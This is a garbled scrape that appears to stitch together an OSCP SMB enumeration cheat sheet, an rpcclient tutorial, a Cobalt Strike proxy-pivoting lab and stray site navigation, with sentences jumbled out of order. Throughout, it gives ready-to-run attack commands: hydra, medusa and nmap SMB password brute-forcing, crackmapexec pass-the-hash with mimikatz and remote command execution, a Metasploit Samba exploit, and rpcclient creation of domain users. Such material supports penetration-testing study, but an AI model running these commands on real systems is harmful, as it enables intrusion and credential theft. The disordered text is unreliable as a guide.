Hence, they usually set up a Network Share. | 2. [hostname] <20> - M . Workgroup Master --------------- ---------------------- | Comment: Default share This is an enumeration cheat sheet that I created while pursuing the OSCP. -N, --no-pass Don't ask for a password LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X | Comment: If these kinds of features are not enabled on the domain, then it is possible to brute force the credentials on the domain. The ability to enumerate individually doesnt limit to the groups but also extends to the users. Initial Access. Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. Try "help" to get a list of possible commands. Cheatsheet. NETLOGON rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007 The command to be used to delete a group using deletedomgroup. [+] User SMB session establishd on [ip] LSARPC-DS great when smbclient doesnt work, Rpcclient is a Linux tool used for executing client-side MS-RPC functions. After establishing the connection, to get the grasp of various commands that can be used you can run the help. S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2) createdomuser Create domain user -c, --command=COMMANDS Execute semicolon separated cmds MAC Address: 00:50:56:XX:XX:XX (VMware) # You will be asked for a password but leave it blank and press enter to continue. getprintprocdir Get print processor directory null session or valid credentials). This can be verified using the enumdomgroups command. REG The child-parent relationship here can also be depicted as client and server relation. Get help on commands How I Won 90 Days OSCP Lab Voucher for Free, https://github.com/s0wr0b1ndef/OSCP-note/, These notes are not in the context of any machines I had during the OSCP lab or exam. --------- ------- It can be done with the help of the createdomuser command with the username that you want to create as a parameter. querygroup Query group info A NetBIOS name is up to 16 characters long and usually, separate from the computer name. *' # download everything recursively in the wwwroot share to /usr/share/smbmap. The connection uses. -W, --workgroup=WORKGROUP Set the workgroup name if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. The createdomgroup command is to be used to create a group. It can be enumerated through rpcclient using the lsaenumsid command. Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 DFS As from the previous commands, we saw that it is possible to create a user through rpcclient. SQL Injection & XSS Playground. New Folder (9) D 0 Sun Dec 13 05:26:59 2015 Passing the SID as a parameter in the lsacreateaccount command will enable us as an attacker to create an account object as shown in the image below. enumtrust Enumerate trusted domains deletedomuser Delete domain user | A critical remote code execution vulnerability exists in Microsoft SMBv1 After that command was run, rpcclient will give you the most excellent "rpcclient> " prompt. Finger. It also includes the commands that I used on platforms such as Vulnhub and Hack the Box. If used the RID is the parameter, the samlookuprids command can extract the username relevant to that particular RID. Description. --------------- ---------------------- | VULNERABLE: After the tunnel is up, you can comment out the first socks entry in proxychains config. In this article, we were able to enumerate a wide range of information through the SMB and RPC channel inside a domain using the rpcclient tool. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). | Anonymous access: Another command to use is the enumdomusers. oscp pwk enumeration smb nmblookup smbclient rpcclient nmap enum4linux smbmap Server Message Block in modern language is also known as. . Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that . This is made from the words get domain password information. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014 This is what happens - attacker (10.0.0.5) uses proxychains with impacket's reg utility to retrieve the hostname of the box at 10.0.0.7 (WS02) via the compromised (CS beacon) box 10.0.0.2 (WS01): The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected dllhost process: {% embed url="https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html" %}, {% embed url="https://github.com/SecureAuthCorp/impacket/tree/master/examples" %}, {% embed url="https://www.cobaltstrike.com/help-socks-proxy-pivoting" %}, {% embed url="https://www.youtube.com/watch?v=l8nkXCOYQC4&index=19&list=WL&t=7s" %}. sign Force RPC pipe connections to be signed A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002 SYSVOL NO ACCESS, [+] Finding open SMB ports. dfsexist Query DFS support Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. What permissions must be assigned to the newly created files? setprinterdata Set REG_SZ printer data Beyond the enumeration I show here, it will also help enumerate shares that are readable, and can ever execute commands on writable shares. 1. logonctrl Logon Control dfsenum Enumerate dfs shares | grep -oP 'UnixSamba. SAMR Learn. Reverse Shell. Replication READ ONLY method. When provided the username, it extracts information such as the username, Full name, Home Drive, Profile Path, Description, Logon Time, Logoff Time, Password set time, Password Change Frequency, RID, Groups, etc. dsroledominfo Get Primary Domain Information To enumerate a particular user from rpcclient, the queryuser command must be used. SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012 All rights reserved. addform Add form # Search the file in recursive mode and download it inside /usr/share/smbmap, #Download everything to current directory, mask: specifies the mask which is used to filter the files within the directory (e.g. "" Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. During our previous demonstrations, we were able to enumerate the permissions and privileges of users and groups based on the RID of that particular user. It is possible to target the group using the RID that was extracted while running the enumdomgroup. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. There are numerous tools and methods to perform enumeration, we will be finding different types of information on SMB throughout the article. | smb-vuln-ms17-010: search type:exploit platform:windows target:2008 smb, domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash, #You can use querydispinfo and enumdomusers to query user information, /usr/share/doc/python3-impacket/examples/samrdump.py, /usr/share/doc/python3-impacket/examples/rpcdump.py, # This info should already being gathered from enum4linux and enum4linux-ng, In file browser window (nautilus, thunar, etc), It is always recommended to look if you can access to anything, if you don't have credentials try using, #If you omit the pwd, it will be prompted. In the demonstration, a user hacker is created with the help of a createdomuser and then a password is provided to it using the setuserinfo2 command. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME), # returns NT_STATUS_ACCESS_DENIED or even gives you a session. WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2) | IDs: CVE:CVE-2006-2370 S-1-5-21-1835020781-2383529660-3657267081-1007 LEWISFAMILY\sys (2) In other words - it's possible to enumerate AD (or create/delete AD users, etc.) rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1009 The group information helps the attacker to plan their way to the Administrator or elevated access. {% code-tabs-item title="attacker@cobaltstrike" %}, {% endcode-tabs-item %} Common share names for windows targets are, You can try to connect to them by using the following command, # null session to connect to a windows share, # authenticated session to connect to a windows share (you will be prompted for a password), "[+] creating a null session is possible for, # no output if command goes through, thus assuming that a session was created, # echo error message (e.g. This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. At last, it can be verified using the enumdomusers command. Password Checking if you found with other enum . It has a total of 67 users. -O, --socket-options=SOCKETOPTIONS socket options to use querygroupmem Query group membership The polices that are applied on a Domain are also dictated by the various group that exists. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) Enumerate Domain Users. timeout connecting to 192.168.182.36:445 -s, --configfile=CONFIGFILE Use alternative configuration file smbmap -H [ip/hostname] will show what you can do with given credentials (or null session if no credentials). 445/tcp open microsoft-ds Hashes work. --------------- ---------------------- lsaenumacctrights Enumerate the rights of an SID | Current user access: remark: PSC 2170 Series To enumerate these shares the attacker can use netshareenum on the rpcclient. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001 Double pivot works the same, but you create the 2nd ssh tunnel via proxychains and a different dynamic port. enumdrivers Enumerate installed printer drivers Cannot retrieve contributors at this time. During that time, the designers of the rpcclient might be clueless about the importance of this tool as a penetration testing tool. ? | Type: STYPE_DISKTREE samsync Sam Synchronisation root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1) | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | servers (ms17-010). This tool is part of the samba(7) suite. Assumes valid machine account to this domain controller. It is possible to enumerate the SAM data through the rpcclient as well. SPOOLSS In this communication, the child process can make requests from a parent process. . {% endcode-tabs %}. -k, --kerberos Use kerberos (active directory) The ability to interact with privileges doesnt end with the enumeration regarding the SID or privileges. Next, we have two query-oriented commands. [Update 2018-12-02] I just learned about smbmap, which is just great. The next command to demonstrate is lookupsids. We can filter on ntlmssp.ntlmv2_response to see NTLMv2 traffic, for example. In the previous demonstration, the attacker was able to provide and remove privileges to a group. Cracking Password. This command is made from LSA Query Security Object. When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. --------------- ---------------------- This can be obtained by running the lsaenumsid command. platform_id : 500 result was NT_STATUS_NONE_MAPPED The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. Are you sure you want to create this branch? RPC or Remote Procedure Call is a service that helps establish and maintain communication between different Windows Applications. {% code-tabs-item title="attacker@kali" %}. authentication May need to run a second time for success. | Current user access: READ/WRITE 1026 - Pentesting Rusersd. It also includes the commands that I used on platforms such as Vulnhub and Hack the Box. queryusergroups Query user groups Flashcards. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 After establishing the connection, to get the grasp of various commands that can be used you can run the help. The ability to manipulate a user doesnt end with creating a user or changing the password of a user. Two applications start a NetBIOS session when one (the client) sends a command to call another client (the server) over, 139/tcp open netbios-ssn Microsoft Windows netbios-ssn. getdata Get print driver data ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services . Code execution don't work. Can be Contacted onTwitterandLinkedIn, All Rights Reserved 2021 Theme: Prefer by, Windows Privilege Escalation: DnsAdmins to DomainAdmin. password: rpcclient $> srvinfo Thus it might be worth a short to try to manually connect to a share. PORT STATE SERVICE In the demonstration below, the attacker chooses S-1-1-0 SID to enumerate. This means that SMB is running with NetBIOS over TCP/IP**. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). debuglevel Set debug level S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) rpcclient (if 111 is also open) NSE scripts. The deletedomuser command is used to perform this action. Guest access disabled by default. Once we are connected using a null session we get another set of options: ---- ----------- | Anonymous access: Author: Pavandeep Singhis a Technical Writer, Researcher, and Penetration Tester. S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1) NETLOGON NO ACCESS Usage: rpcclient [OPTION] so lets run rpcclient with no options to see what's available: SegFault:~ cg$ rpcclient. |_ https://technet.microsoft.com/en-us/library/security/ms06-025.aspx exit Exit program 1433 - Pentesting MSSQL - Microsoft SQL Server. -I, --dest-ip=IP Specify destination IP address, Help options lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) | VULNERABLE: For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. SMB2 Windows Vista SP1 and Windows 2008, crackmapexec -u 'guest' -p '' --shares $ip, crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip, crackmapexec -u 'guest' -p '' --users $ip, crackmapexec smb 192.168.1.0/24 -u Administrator -p, crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution. The name is derived from the enumeration of domain users. SYSVOL READ ONLY, Enter WORKGROUP\root's password: *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john.

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